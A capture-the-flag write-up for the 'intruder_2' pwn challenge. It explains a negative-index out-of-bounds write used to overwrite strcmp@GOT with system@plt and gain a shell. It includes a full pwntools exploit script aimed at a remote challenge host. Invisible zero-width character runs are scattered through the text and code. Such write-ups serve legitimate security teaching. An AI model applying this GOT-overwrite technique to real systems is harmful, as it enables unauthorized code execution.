← Back to Writeups
CUSTOMMediumpwn

pwn5 intruder_2

XESXOR9/2/20264 min read
#pwn#custom#medium#controlled_rdi_hijack#got_overwrite#signed_index_oob_write#strcmp_to_system#linux

pwn5 intruder_2

Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: controlled_rdi_hijack, got_overwrite, signed_index_oob_write, strcmp_to_system

Summary

Task: NON-PIE x86-64 reservation service with a signed upper-bound-only array index check (cmp idx,0xff; jg) allowing a negative index OOB 8-byte write relative to a global array. Solution: use idx=-9 to overwrite strcmp@GOT with system@plt (already resolved via a startup system("cal")); the next loop's strcmp(cmd, "order\n") then runs system(cmd) with rdi = the user buffer, giving a shell via cmd="/bin/sh".

pwn5 intruder_2 — pwn_spbctf

Description

Here is room2 reservation service

nc 109.233.56.90 11692 Author: Artur Khanov (@awengar)

A NON-PIE x86-64 ELF (intruder_2.elf, served as intunder_2.elf), category "www", tier pwn5. A room-reservation menu lets you "order" a room by index and "view" rooms. The goal is to pop a shell on the remote and read the flag.

Analysis

Binary protections:

  • NON-PIE (loaded at 0x400000) → all code/GOT addresses are fixed and known.
  • NX, Partial RELRO, no stack canary, not stripped.
  • Imports include system@plt at 0x401040. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

main (@0x401186) does the following:

  1. system("cal") at 0x4011b8 (the string "cal" lives at 0x402008). This call is critical for exploitation: it forces lazy PLT resolution of system, so system@plt is fully usable later.
  2. A menu loop runs 10 iterations. Each iteration:
    • fgets(cmd, 0x40, stdin) reads a command into a stack buffer cmd at rbp-0x50.
    • strcmp(cmd, "order\n") is called every iteration — and its first argument rdi is cmd, the user-controlled buffer.
    • On "order\n": scanf("%lld", &idx) reads a signed 64-bit index, then a bounds check cmp idx, 0xff followed by jg (a signed comparison checking the upper bound 255 only). It then scanf("%llx", &val) and writes the 8-byte value to rooms[idx] where rooms is the global array at 0x404080: *(u64*)(0x404080 + idx*8) = val.
    • On "view\n" (@0x40209e): an OOB read print. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The bug

The index check is signed and upper-bound-only:

cmp rax, 0xff      ; idx <= 255 ?
jg  reject         ; SIGNED greater-than -> only rejects idx > 255

There is no lower-bound check. A negative index passes the check and produces an arbitrary 8-byte OOB write relative to rooms@0x404080. Because this is a NON-PIE binary, the GOT sits at a fixed address below the array (0x404038 < 0x404080), so a negative index reaches GOT entries.

Unlike intruder_1, this binary never reads a flag.txt, so the path to the flag is full code execution via a GOT overwrite. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

The exploitation idea is a classic GOT-overwrite → system, but with a twist: we must pick a GOT entry that is called with a controlled rdi.

  • strcmp(cmd, "order\n") is invoked every loop iteration with rdi = cmd, our fgets buffer.
  • If we overwrite strcmp@GOT (0x404038) with system@plt (0x401040), then on the next iteration the call strcmp(cmd, ...) actually executes system(cmd) with cmd under our control.
  • printf@GOT would be useless: printf's rdi is a fixed format string, not our input. Choosing the right call site (controlled rdi) is the key. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Index math for strcmp@GOT:

idx = (0x404038 - 0x404080) / 8 = -72 / 8 = -9
val = 0x401040            (system@plt)

Sequence:

  • Iteration 0: send order, then index -9 (decimal, %lld), then value 401040 (hex, %llx) → overwrites strcmp@GOT with system@plt.
  • Iteration 1: send cmd = "/bin/sh". main's strcmp(cmd, "order\n") now resolves through the poisoned GOT to system("/bin/sh\n") → shell.

system is already resolved from the startup system("cal"), so jumping through strcmp@GOT → system@plt works reliably. In the shell, cat /flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Output-parsing note: the startup system("cal") prints a calendar, so when scraping the flag, use a case-insensitive SPBCTF\{[^}]*\} regex to avoid false matches against cal output.

python
#!/usr/bin/env python3
from pwn import *
import re

context.arch = 'amd64'
HOST, PORT = '109.233.56.90', 11692
e = ELF('intruder_2.elf', checksec=False)

strcmp_got = e.got['strcmp']        # 0x404038
system_plt = e.plt['system']        # 0x401040
rooms      = 0x404080
idx        = (strcmp_got - rooms) // 8   # -9
log.info("strcmp@GOT = %#x", strcmp_got)
log.info("system@plt = %#x", system_plt)
log.info("idx        = %d", idx)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

io = remote(HOST, PORT)
# iteration 0: ORDER -> overwrite strcmp@GOT with system@plt
io.sendline(b'order')
io.sendline(str(idx).encode())      # index, decimal (%lld)
io.sendline(b'%x' % system_plt)     # value, hex without 0x (%llx)
# iteration 1: cmd buffer becomes the argument to system via the poisoned GOT
io.sendline(b'/bin/sh')
io.sendline(b'cat /flag /flag.txt flag.txt 2>/dev/null; cat /flag* 2>/dev/null; id')

data = io.recvall(timeout=15)
m = re.search(rb'SPBCTF\{[^}]*\}', data, re.IGNORECASE)
if m:
    log.success("FLAG: %s", m.group(0).decode())
else:
    print(data.decode(errors='replace'))
io.close()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍